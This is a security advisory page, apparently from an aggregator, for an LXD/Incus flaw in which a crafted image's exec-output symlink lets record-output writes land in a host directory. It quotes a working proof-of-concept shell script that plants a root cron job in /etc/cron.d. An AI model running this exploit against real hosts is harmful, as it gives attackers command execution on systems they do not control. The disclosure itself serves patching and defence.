GITHUB.COM/CANONICAL/LXD · GHSA-9j25-mm2h-2f76 · Infrastructure
FIX → 0.0.0-20260626085134-124f90100640
LXD unpacks container images without checking top-level symlinks, so a crafted image can plant an exec-output symlink pointing at any host directory. When a user runs a command with record-output, LXD writes the command's output into that directory, so an attacker can drop a file such as a cron job and potentially run commands on the host.
first public Nov 6, 2026 · 1 source
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Hosts running LXD that import container images from sources they do not fully trust, or that let other users run exec with record-output on their instances. Hosts that only use their own images and restrict API access are less exposed. The sources do not describe a default configuration that is safe.
Not affected if api-restricted, trusted-images-only
Who cares containers, cwe-73, linux, lxd, self-hosted
lxd --version and compare it with the fixed version below.Upgrade to 0.0.0-20260626085134-124f90100640
github.com/canonical/lxd to 0.0.0-20260626085134-124f90100640 or later.Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
The record-output parameter of the /instances/$name/exec endpoint
stores the output of the command in the exec-output directory of the
instance. If exec-output is a symlink, file named exec_UUID.stdout
and exec_UUID.stderr can be written to an arbitrary location where
the .stdout file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.
When an image is unpacked, top-level symlinks are extracted as is;
allowing for exec-output to be placed on disk. In instance_exec.go,
os.Mkdir continues of exec-output exists and follows
the symlink.
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
os.OpenFileexec-outputBelow, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.